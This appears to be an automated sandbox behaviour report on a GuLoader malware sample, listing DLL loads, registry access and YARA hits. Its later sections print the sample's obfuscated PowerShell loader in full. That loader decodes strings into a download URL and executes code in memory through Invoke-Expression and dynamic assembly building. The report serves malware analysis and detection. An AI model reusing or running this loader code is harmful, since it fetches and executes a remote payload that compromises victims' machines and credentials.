Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GrOcCQC\GrOcCQC.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GrOcCQC\GrOcCQC.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GrOcCQC\GrOcCQC.exe	Section loaded: cryptdlg.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GrOcCQC\GrOcCQC.exe	Section loaded: msoert2.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GrOcCQC\GrOcCQC.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GrOcCQC\GrOcCQC.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GrOcCQC\GrOcCQC.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GrOcCQC\GrOcCQC.exe	Section loaded: cryptui.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GrOcCQC\GrOcCQC.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GrOcCQC\GrOcCQC.exe	Section loaded: msftedit.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GrOcCQC\GrOcCQC.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GrOcCQC\GrOcCQC.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GrOcCQC\GrOcCQC.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GrOcCQC\GrOcCQC.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GrOcCQC\GrOcCQC.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GrOcCQC\GrOcCQC.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GrOcCQC\GrOcCQC.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GrOcCQC\GrOcCQC.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GrOcCQC\GrOcCQC.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GrOcCQC\GrOcCQC.exe	Section loaded: actxprxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GrOcCQC\GrOcCQC.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GrOcCQC\GrOcCQC.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GrOcCQC\GrOcCQC.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GrOcCQC\GrOcCQC.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GrOcCQC\GrOcCQC.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GrOcCQC\GrOcCQC.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GrOcCQC\GrOcCQC.exe	Section loaded: cryptdlg.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GrOcCQC\GrOcCQC.exe	Section loaded: msoert2.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GrOcCQC\GrOcCQC.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GrOcCQC\GrOcCQC.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GrOcCQC\GrOcCQC.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GrOcCQC\GrOcCQC.exe	Section loaded: cryptui.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GrOcCQC\GrOcCQC.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GrOcCQC\GrOcCQC.exe	Section loaded: msftedit.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GrOcCQC\GrOcCQC.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GrOcCQC\GrOcCQC.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GrOcCQC\GrOcCQC.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GrOcCQC\GrOcCQC.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GrOcCQC\GrOcCQC.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GrOcCQC\GrOcCQC.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GrOcCQC\GrOcCQC.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GrOcCQC\GrOcCQC.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GrOcCQC\GrOcCQC.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GrOcCQC\GrOcCQC.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GrOcCQC\GrOcCQC.exe	Section loaded: iertutil.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3743-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Jump to behavior

Source: C:\Users\user\AppData\Roaming\GrOcCQC\GrOcCQC.exe

File opened: C:\Windows\SysWOW64\msftedit.dll

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Program Files (x86)\Windows Mail\wab.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Outlook\Profiles

Jump to behavior

Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdb source: powershell.exe, 0000000D.00000002.878914102008.0000000007121000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdb source: powershell.exe, 0000000D.00000002.878904636075.0000000002A96000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: re.pdb; source: powershell.exe, 0000000D.00000002.878917749751.0000000008791000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdbk source: powershell.exe, 0000000D.00000002.878904636075.0000000002A96000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wab.pdbGCTL source: GrOcCQC.exe, 00000010.00000000.879000905723.00000000007E1000.00000020.00000001.01000000.00000009.sdmp, GrOcCQC.exe, 00000012.00000002.879083099115.00000000007E1000.00000020.00000001.01000000.00000009.sdmp, GrOcCQC.exe.15.dr
Source:	Binary string: wab.pdb source: GrOcCQC.exe, GrOcCQC.exe, 00000010.00000000.879000905723.00000000007E1000.00000020.00000001.01000000.00000009.sdmp, GrOcCQC.exe, 00000012.00000002.879083099115.00000000007E1000.00000020.00000001.01000000.00000009.sdmp, GrOcCQC.exe.15.dr

Data Obfuscation

Yara detected GuLoader

Source: Yara match	File source: 0000000D.00000002.878919425134.0000000008CCF000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.878918969194.0000000008A70000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: FromBase64String($Discophile)$global:Refracting = [System.Text.Encoding]::ASCII.GetString($Joviality)$global:Effected=$Refracting.substring($Pushmina119,$Faseforvrngning)<#sundayproof costlew Semidito
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: GetDelegateForFunctionPointer((Unmortised252 $Forgodtbefindendets $Bilaan), (Sandsynliggrer @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))$global:Nonvillager = [AppDomain]::CurrentDomain.GetAs
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: DefineDynamicAssembly((New-Object System.Reflection.AssemblyName($kantning)), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule($Bifurcations, $false).DefineType($realeksaminen,
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: FromBase64String($Discophile)$global:Refracting = [System.Text.Encoding]::ASCII.GetString($Joviality)$global:Effected=$Refracting.substring($Pushmina119,$Faseforvrngning)<#sundayproof costlew Semidito

Obfuscated command line found

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Nugacities Komedianter104 Palatalise Hygiejnekommsionens Redesignating Ungrubbed Fondshandler Fiskeflaaderne Discophile Curarize Anmeldtes Refracting Hellenizer Teknologipolitiks Generalstabskorts Dubitate Blodfattigheds Helcology Cavillation Fallesen Alouatta Vitial Unemptiable Datasikkerheds Nugacities Komedianter104 Palatalise Hygiejnekommsionens Redesignating Ungrubbed Fondshandler Fiskeflaaderne Discophile Curarize Anmeldtes Refracting Hellenizer Teknologipolitiks Generalstabskorts Dubitate Blodfattigheds Helcology Cavillation Fallesen Alouatta Vitial Unemptiable Datasikkerheds';If (${host}.CurrentCulture) {$Smaastykker++;}Function Immatrikulationens($Marios){$Syntomy=$Marios.Length-$Smaastykker;$Pronenesses='SUBsTRI';$Pronenesses+='ng';For( $Dipsomaniacs=2;$Dipsomaniacs -lt $Syntomy;$Dipsomaniacs+=3){$Nugacities+=$Marios.$Pronenesses.Invoke( $Dipsomaniacs, $Smaastykker);}$Nugacities;}function Influerende($Svippedes){ . ($Gnier111) ($Svippedes);}$Sclaffs=Immatrikulationens 'HuMN,oGazHuiKal,elBeaDa/p,5La.Fr0Ru He(A WPuiCun UdKuo .wSls l .N sTEp Li1 B0Fy.P,0.y;I. .eWCaiB,nS,6Di4Te;Vi Bx,o6E.4,i;No BurUlvGl:Un1Co2Sy1D.. U0 n)Sw IGSceV c.hkCyoNo/ C2Ch0cu1tr0di0Ko1Dr0Pe1Li AwF.ni drAreOrfT.oSixCo/R 1 2Re1 J.So0.a ';$Dissers=Immatrikulationens 'G U Es ne .r,e-IdA agEmeS,nSttso ';$Redesignating=Immatrikulationens ' RhAft CtBepS sKu:Va/ P/ .datrUdiF,vOveSa. UgTaoSko,eg UlSoeCa.Syc Uo emVe/,euBecKr?D,eCoxI,p Ko ,r StIn=,edIro .wK.n.el,roChagld.a&Fristd.e=Ac1N,T uTaX o3InpKaGRoV .QOmO Mu AYReuD.NOv0UnPMoVFifA.0s.S ,1PrvChuSaO,eoK.v,uPV,ZVacE 7Ar6PhtUd5 ';$Bourre=Immatrikulationens 's,>I ';$Gnier111=Immatrikulationens 'FriSke Ix ';$Hoodwinked='Fiskeflaaderne';$Parastades = Immatrikulationens ' FeGacF,h Fo,r .l%K.a epAlpSpdJiaOutPeaU,%,l\FrBMoe ol YlAteT rKiiPacUn7C.4 F.G,AB,f RsEk Fo&St&K, HeCyc DhKloCo U.t n ';Influerende (Immatrikulationens 'Ti$ExgAllIdoHubbea Klsa: .CDehJeaHecSpoCun Nn FeGur Us J1 S7A,2.v=Be(CacCamMadS Si/TucEx Co$P.PTwaSirDeas.s,ft AaAedReeKosPe),r ');Influerende (Immatrikulationens 'Sn$S.g OlCuoFobTuanolL :KrHKoyBag .iDieI,jUnnSke uk Oo amVemEksMii oo .nUbeDenUdsW,= T$DeRJae.jd Ee .sBiiIngOpn,saYat riSonFeg T.C.s.vpB.lGei StUn(Fa$ UB o Au.tr FrByeP.) ');Influerende (Immatrikulationens ' T[ IN ieUrtPs.P S,beRer Iv .iTicReeDuPPlo iiAfno,tLiMS,aLin Ta hg MeKorDi]no:Fi: SPre,gcS,uTir iUnt,eyAmPBrrCeo etTroUscstoSvl E ,o= T I [AnNDreUnt.k.F SDeeWecTuu .r.hi ,t,myAtP.tr SoHitFooM,cDuo lUnT.uy ApSle r] l:s.: ,TOflsmsPa1Un2 A ');$Redesignating=$Hygiejnekommsionens[0];$Fangstbaaden190= (Immatrikulationens 'Am$,igUnlhaoEqbKla.al,e:.lKcooSun ,sFoe rk MvTeec,nL,tHjePosOs=.mNFieOpwS -W,O ab .jBleIncDetCa thS PyResAntTee .mMu.EpN KeP.t a.S,WSoe,ebOvC .lFaiKbeA.nLkt');$Fangstbaaden190+=$Chaconners172[1];Influerende ($Fangstbaaden190);Influerende (Immatrikulationens 'Ar$ToKFooKvnOvsK.edok,
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Nugacities Komedianter104 Palatalise Hygiejnekommsionens Redesignating Ungrubbed Fondshandler Fiskeflaaderne Discophile Curarize Anmeldtes Refracting Hellenizer Teknologipolitiks Generalstabskorts Dubitate Blodfattigheds Helcology Cavillation Fallesen Alouatta Vitial Unemptiable Datasikkerheds Nugacities Komedianter104 Palatalise Hygiejnekommsionens Redesignating Ungrubbed Fondshandler Fiskeflaaderne Discophile Curarize Anmeldtes Refracting Hellenizer Teknologipolitiks Generalstabskorts Dubitate Blodfattigheds Helcology Cavillation Fallesen Alouatta Vitial Unemptiable Datasikkerheds';If (${host}.CurrentCulture) {$Smaastykker++;}Function Immatrikulationens($Marios){$Syntomy=$Marios.Length-$Smaastykker;$Pronenesses='SUBsTRI';$Pronenesses+='ng';For( $Dipsomaniacs=2;$Dipsomaniacs -lt $Syntomy;$Dipsomaniacs+=3){$Nugacities+=$Marios.$Pronenesses.Invoke( $Dipsomaniacs, $Smaastykker);}$Nugacities;}function Influerende($Svippedes){ . ($Gnier111) ($Svippedes);}$Sclaffs=Immatrikulationens 'HuMN,oGazHuiKal,elBeaDa/p,5La.Fr0Ru He(A WPuiCun UdKuo .wSls l .N sTEp Li1 B0Fy.P,0.y;I. .eWCaiB,nS,6Di4Te;Vi Bx,o6E.4,i;No BurUlvGl:Un1Co2Sy1D.. U0 n)Sw IGSceV c.hkCyoNo/ C2Ch0cu1tr0di0Ko1Dr0Pe1Li AwF.ni drAreOrfT.oSixCo/R 1 2Re1 J.So0.a ';$Dissers=Immatrikulationens 'G U Es ne .r,e-IdA agEmeS,nSttso ';$Redesignating=Immatrikulationens ' RhAft CtBepS sKu:Va/ P/ .datrUdiF,vOveSa. UgTaoSko,eg UlSoeCa.Syc Uo emVe/,euBecKr?D,eCoxI,p Ko ,r StIn=,edIro .wK.n.el,roChagld.a&Fristd.e=Ac1N,T uTaX o3InpKaGRoV .QOmO Mu AYReuD.NOv0UnPMoVFifA.0s.S ,1PrvChuSaO,eoK.v,uPV,ZVacE 7Ar6PhtUd5 ';$Bourre=Immatrikulationens 's,>I ';$Gnier111=Immatrikulationens 'FriSke Ix ';$Hoodwinked='Fiskeflaaderne';$Parastades = Immatrikulationens ' FeGacF,h Fo,r .l%K.a epAlpSpdJiaOutPeaU,%,l\FrBMoe ol YlAteT rKiiPacUn7C.4 F.G,AB,f RsEk Fo&St&K, HeCyc DhKloCo U.t n ';Influerende (Immatrikulationens 'Ti$ExgAllIdoHubbea Klsa: .CDehJeaHecSpoCun Nn FeGur Us J1 S7A,2.v=Be(CacCamMadS Si/TucEx Co$P.PTwaSirDeas.s,ft AaAedReeKosPe),r ');Influerende (Immatrikulationens 'Sn$S.g OlCuoFobTuanolL :KrHKoyBag .iDieI,jUnnSke uk Oo amVemEksMii oo .nUbeDenUdsW,= T$DeRJae.jd Ee .sBiiIngOpn,saYat riSonFeg T.C.s.vpB.lGei StUn(Fa$ UB o Au.tr FrByeP.) ');Influerende (Immatrikulationens ' T[ IN ieUrtPs.P S,beRer Iv .iTicReeDuPPlo iiAfno,tLiMS,aLin Ta hg MeKorDi]no:Fi: SPre,gcS,uTir iUnt,eyAmPBrrCeo etTroUscstoSvl E ,o= T I [AnNDreUnt.k.F SDeeWecTuu .r.hi ,t,myAtP.tr SoHitFooM,cDuo lUnT.uy ApSle r] l:s.: ,TOflsmsPa1Un2 A ');$Redesignating=$Hygiejnekommsionens[0];$Fangstbaaden190= (Immatrikulationens 'Am$,igUnlhaoEqbKla.al,e:.lKcooSun ,sFoe rk MvTeec,nL,tHjePosOs=.mNFieOpwS -W,O ab .jBleIncDetCa thS PyResAntTee .mMu.EpN KeP.t a.S,WSoe,ebOvC .lFaiKbeA.nLkt');$Fangstbaaden190+=$Chaconners172[1];Influerende ($Fangstbaaden190);Influerende (Immatrikulationens 'Ar$ToKFooKvnOvsK.edok,
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Nugacities Komedianter104 Palatalise Hygiejnekommsionens Redesignating Ungrubbed Fondshandler Fiskeflaaderne Discophile Curarize Anmeldtes Refracting Hellenizer Teknologipolitiks Generalstabskorts Dubitate Blodfattigheds Helcology Cavillation Fallesen Alouatta Vitial Unemptiable Datasikkerheds Nugacities Komedianter104 Palatalise Hygiejnekommsionens Redesignating Ungrubbed Fondshandler Fiskeflaaderne Discophile Curarize Anmeldtes Refracting Hellenizer Teknologipolitiks Generalstabskorts Dubitate Blodfattigheds Helcology Cavillation Fallesen Alouatta Vitial Unemptiable Datasikkerheds';If (${host}.CurrentCulture) {$Smaastykker++;}Function Immatrikulationens($Marios){$Syntomy=$Marios.Length-$Smaastykker;$Pronenesses='SUBsTRI';$Pronenesses+='ng';For( $Dipsomaniacs=2;$Dipsomaniacs -lt $Syntomy;$Dipsomaniacs+=3){$Nugacities+=$Marios.$Pronenesses.Invoke( $Dipsomaniacs, $Smaastykker);}$Nugacities;}function Influerende($Svippedes){ . ($Gnier111) ($Svippedes);}$Sclaffs=Immatrikulationens 'HuMN,oGazHuiKal,elBeaDa/p,5La.Fr0Ru He(A WPuiCun UdKuo .wSls l .N sTEp Li1 B0Fy.P,0.y;I. .eWCaiB,nS,6Di4Te;Vi Bx,o6E.4,i;No BurUlvGl:Un1Co2Sy1D.. U0 n)Sw IGSceV c.hkCyoNo/ C2Ch0cu1tr0di0Ko1Dr0Pe1Li AwF.ni drAreOrfT.oSixCo/R 1 2Re1 J.So0.a ';$Dissers=Immatrikulationens 'G U Es ne .r,e-IdA agEmeS,nSttso ';$Redesignating=Immatrikulationens ' RhAft CtBepS sKu:Va/ P/ .datrUdiF,vOveSa. UgTaoSko,eg UlSoeCa.Syc Uo emVe/,euBecKr?D,eCoxI,p Ko ,r StIn=,edIro 